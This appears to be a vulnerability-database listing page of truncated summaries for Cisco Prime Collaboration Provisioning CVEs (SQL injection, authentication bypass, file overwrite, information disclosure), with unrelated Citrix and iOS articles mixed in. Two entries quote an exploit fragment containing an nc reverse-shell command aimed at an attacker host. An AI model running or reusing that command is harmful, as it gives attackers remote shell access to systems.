CVE-2017-12276

Cisco Prime Collaboration Provisioning (before v12.3) is affected by an authenticated SQL injection in the web framework’s SQL database interface (CVE-2017-12276). Exploitation requires valid user credentials and can lead to disclosure/integrity impact by executing arbitrary SQL queries through c...

CVE-2017-12276

A vulnerability in the web framework code for the SQL database interface of the Cisco Prime Collaboration Provisioning application could allow an authenticated, remote attacker to impact the confidentiality and integrity of the application by executing arbitrary SQL queries, aka SQL Injection. Th...

Cisco Prime Collaboration Provisioning SQL Injection Vulnerability

Cisco Prime Collaboration Provisioning application is the United States of America Cisco Cisco company's set of Web-based next-generation communications services software. The software provides IP communication service features for IP telephony, voice mail and unified communications environments....

Cisco Prime Collaboration Provisioning Authenticated SQL Injection Vulnerability

A vulnerability in the web framework code for the SQL database interface of the Cisco Prime Collaboration Provisioning application could allow an authenticated, remote attacker to impact the confidentiality and integrity of the application by executing arbitrary SQL queries. The attacker could re...

Cisco Releases Security Updates

Cisco has released updates to address vulnerabilities affecting multiple products. A remote attacker could exploit some of these vulnerabilities to take control of an affected system. US-CERT encourages users and administrators to review the following Cisco Security Advisories and apply the...

FAQ: Provisioning Server and Citrix License Server Interaction

This article provides more information on how the Citrix License Server works with Citrix Provisioning Services 4.5, 4.5 Service Packs, 5.0, 5.0 Service Pack 1, 5.0 Service Pack 2, 5.1 and 5.1 Service Packs in different situations. Licensing Support for Provisioning Services 5.1 Service Pack 1...

Various Connection Method Behaviours of Mobile Citrix Receiver with StoreFront and NetScaler Gateway

The following scenarios provide an understanding of when to use the StoreFront server FQDN and/or NetScaler Gateway FQDN in an App Controller solution when connecting from a mobile device: Internal Users Connecting to StoreFront Server Scenario 1 – Legacy PNA Site and No Store Available Scenario ...

The vulnerability of the web interface of the content management software in the Prime Collaboration Provisioning network allows a perpetrator to bypass authentication procedures and execute arbitrary commands.

The vulnerability of the web interface of the content management software in the Prime Collaboration Provisioning network is related to deficiencies in access control the absence of security restrictions. Exploiting this vulnerability could allow a malicious actor to bypass authentication...

Cisco Prime Collaboration Provisioning Authentication Bypass / Code Execution

Exploit Title: Cisco Prime Collaboration Provisioning function encode echo "$1" | perl -MURI::Escape -ne 'chomp;print uriescape$,"\n"' TARGET=$1 ATTACKER=$2 PORT=$3 BASH=$encode "/bin/bash" COMMAND=$encode "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&1|nc $ATTACKER $PORT /tmp/f"...

Cisco Prime Collaboration Provisioning < 12.1 - Authentication Bypass / Remote Code Execution Exp

Exploit for hardware platform in category remote exploits Exploit Title: Cisco Prime Collaboration Provisioning function encode echo "$1" | perl -MURI::Escape -ne 'chomp;print uriescape$,"\n"' TARGET=$1 ATTACKER=$2 PORT=$3 BASH=$encode "/bin/bash" COMMAND=$encode "rm /tmp/f;mkfifo /tmp/f;cat...

How to obtain expiration date of the "Distribution Provisioning Profile (.MOBILEPROVISION)" file of an iOS (.iPA) application

What is the "Distribution Provisioning Profile .MOBILEPROVISION" File used by Apple Xcode, a software developmentIDEoften used for creating iPhone apps; contains a provisioning profile, which allows an app to be uploaded to a limited number of iPhones or iPads while it is still in development. Yo...

Citrix Provisioning Services Boot Process

This article explains Citrix PVS boot process in details...

Cisco Prime Collaboration Provisioning Tool Information Disclosure Vulnerability

Cisco Prime Collaboration Provisioning Tool is a set of Web-based, next-generation communications services tools from Cisco. The tool provides IP communication services capabilities for IP telephony, voice mail and unified communications environments. An information disclosure vulnerability exist...

Cisco Prime Collaboration Provisioning Tool Arbitrary File Overwrite Vulnerability

Cisco Prime Collaboration Provisioning Tool is a set of Web-based, next-generation communications services tools from Cisco. The tool provides IP communication services capabilities for IP telephony, voice mail and unified communications environments. A security vulnerability exists in the batch...

CVE-2017-6792

A vulnerability in the batch provisioning feature in Cisco Prime Collaboration Provisioning Tool could allow an authenticated, remote attacker to overwrite system files as root. The vulnerability is due to lack of input validation of the parameters in BatchFileName and Directory. An attacker coul...

CVE-2017-6792

A vulnerability in the batch provisioning feature in Cisco Prime Collaboration Provisioning Tool could allow an authenticated, remote attacker to overwrite system files as root. The vulnerability is due to lack of input validation of the parameters in BatchFileName and Directory. An attacker coul...

CVE-2017-6793

The CVE-2017-6793 entry concerns Cisco Prime Collaboration Provisioning Tool, specifically its Inventory Management feature. A vulnerability arises from insufficient protection of restricted information, enabling an authenticated, remote attacker to view sensitive data through the user interface....

CVE-2017-6792

CVE-2017-6792 : Cisco Prime Collaboration Provisioning Tool’s batch provisioning feature is vulnerable due to lack of input validation of parameters in BatchFileName and Directory. An authenticated, remote attacker could exploit this to overwrite system files as root. Root cause and impact are de...

Cisco Prime Collaboration Provisioning Tool Inventory Management Feature Information Disclosure Vulnerability

A vulnerability in the Inventory Management feature of Cisco Prime Collaboration Provisioning Tool could allow an authenticated, remote attacker to view sensitive information on the system. The vulnerability is due to insufficient protection of restricted information. An attacker could exploit th...

Cisco Prime Collaboration Provisioning Tool System File Overwrite Vulnerability

A vulnerability in the batch provisioning feature in Cisco Prime Collaboration Provisioning Tool could allow an authenticated, remote attacker to overwrite system files as root. The vulnerability is due to lack of input validation of the parameters in BatchFileName and Directory. An attacker coul...